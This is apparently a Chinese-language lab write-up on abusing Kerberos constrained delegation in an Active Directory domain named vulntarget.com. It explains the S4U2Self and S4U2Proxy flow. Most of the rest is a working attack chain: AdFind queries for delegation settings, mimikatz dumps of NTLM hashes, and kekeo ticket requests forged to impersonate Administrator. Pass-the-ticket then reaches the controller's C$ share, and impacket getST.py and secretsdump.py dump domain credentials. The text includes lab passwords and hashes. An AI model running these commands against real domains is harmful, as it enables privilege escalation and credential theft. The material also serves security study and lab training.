接上述的非约束委派,由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)和S4U2Proxy(Service for User to Proxy)的Kerberos协议扩展。
流程:
1.用户向Service1发送请求
2.这时在官方文档中的介绍是在这一流程开始之前Service1已经通过KRB_AS_REQ得到了用户用来访问Service1的TGT,然后通过S4U2self扩展模拟用户向KDC请求ST。
3.KDC这时返回给Service1一个用于用户验证Service1的ST(我们称为ST1),并且Service1用这个ST1完成和用户的验证过程。
4.Service1在步骤3使用模拟用户申请KDC所获得的ST1票据与User进行验证,然后响应用户的请求。
注:这个过程其实Service1是获得了用户的ST1和TGT的,但是,S4U2Self扩展不允许Service1去代表用户请求其他服务。
5.用户再次向Service1发起请求,此时Service1需要以用户的身份去访问Service2.此处官方文档提到了两点。
A。Service1已经通过验证,并且有一个有效的TGT。
B。Service1有从用户到Service1的forwardableST(可转发ST),此处我认为,根据流程来看,可转发ST1其实就是ST1,用于(6)的验证
6.Service1代表用户向Service2请求一个用于认证Service2的ST(称之为ST2)。用户在ST1中通过cname (client name) 和crealm(client name)进行标示。
7.KDC接收到(6)中的请求后,对PAC的数字签名进行验证。如果验证成功或这个请求没有PAC(无法验证失败),KDC将返回ST2给service1,不过这个ST2中的cname crealm标示的是用户而不是service1。
8.service1代表用户使用ST2请求访问Service2
9.Service2响应Service1的请求
10.Service1将Service2的响应转发给User。
在这个过程中,S4U2Self扩展的作用是让Service1代表用户向KDC验证用户的合法性,并且得到一个可转发的ST1。S4U2Proxy的作用可以说是让Service1代表用户身份通过ST1重新获取ST2,并且不允许Service1以用户的身份去访问其他服务。更多的细节可以参考官方的文档,和RFC4120的内容。
同时注意forwardable字段,有forwardable标记为可转发的是能够通过S4U2Proxy扩展协议进行转发的,如果没有标记则不能进行转发。
域控机为域用户配置SPN,用于域用户配置约束委派
setspn -U -A SQL/test win2016
此时在Active Directory 用户和计算机处,可以发现域用户win2016已经可以配置委派了。
为win2016用户配置约束委派,做win2 019机器的cifs服务的委派
此时应用设置后,已在域中完成了win2016用户对win2019机器的cifs服务的委派
使用Adfind.exe尝试发现约束委派
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
发现win2016用户存在约束委派,委派了win2019机器的cifs服务
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
可以看到主机Win2016存在约束委派,委派了win2019机器的cifs服务
kekeo # tgt::ask /user:win2016 /domain:vulntarget.com /password:Admin#123
利用mimikatz拿到域用户win2016的NTLM hash进行利用
kekeo # tgt::ask /user:win2016 /domain:vulntarget.com /NTLM:dfc8d2bfa540a0a6e2248a82322e654e
利用拿到的TGT票据通过伪造s4u请求以administrator用户身份请求访问域控机的cifs服务
tgs::s4u /tgt:TGT_win2016@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/win2019.vulntarget.com
通过mimikatz进行ptt拿到域控机的cifs服务使用权限
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~win2019.vulntarget.com@VULNTARGET.COM.kirbi
注:此处使用的通过S4U2proxy 拿到的 TGS票据,而不是使用通过S4U2self拿到的TGS票据。
查看域控机的共享目录成功!
通过mimikatz拿到域主机win2016的服务账户NTLM hash来申请可转发的TGT票据
privilege::debug
sekurlsa::logonpasswords
注:需要管理员权限才可拿到密码Hash
tgt::ask /user:win2016$ /domain:vulntarget.com /NTLM:e0cd419213811fd910ca6c3c42d764e7
注:带有$符号的用户一般都是服务主机账户,而非普通用户
如此,成功拿到了对应委派服务的TGS票据
kekeo # tgs::s4u /tgt:TGT_win2016$@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/win2019.vulntarget.com
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~win2019.vulntarget.com@VULNTARGET.COM.kirbi
尝试对域控进行共享目录访问,利用成功!
dir \\win2019.vulntarget.com\c$
注: 此处进行tgs::s4u伪造时,申请的service是cifs/win2019.vulntarget.com时;我们在使用时就应该是dir \win2019.vulntarget.com\c$ 这样才能访问成功,若dir \win2019\c$则会访问失败,反之亦然!
AdFind.exe -h 10.0.10.110 -u vulntarget\win2019 -up admin#123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msDS-AllowedToDelegateTo
AdFind.exe -h 10.0.10.110 -u vulntarget\win2019 -up admin#123 -b "DC=vulntarget,DC=com" -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))" msDS-AllowedToDelegateTo
(可通过隧道,需提前通过hosts文件绑定ip与主机名)
python3 getST.py -hashes :b223fae09b86d75482d2c61ac5f773fe -spn cifs/win2019.vulntarget.com -impersonate administrator vulntarget/win2016$ -dc-ip 10.0.10.110
-hashes: NTLM hash
-spn: 约束委派指定的服务
-impersonate 伪造的用户 存在约束委派的域主机名
-dc-ip: dc地址
拿到administrator.ccache
利用export加载环境变量
export KRB5CCNAME=administrator.ccache
注: KPB5CCNAME 变量名不可变
python3 secretsdump.py -k -no-pass win2019.vulntarget.com -dc-ip 10.0.10.110
注: 此处使用的cifs服务进行的攻击,若脚本提示认证失败,最大的可能为我们的利用ST票据与攻击应该使用的ST票据不符。
摸了……..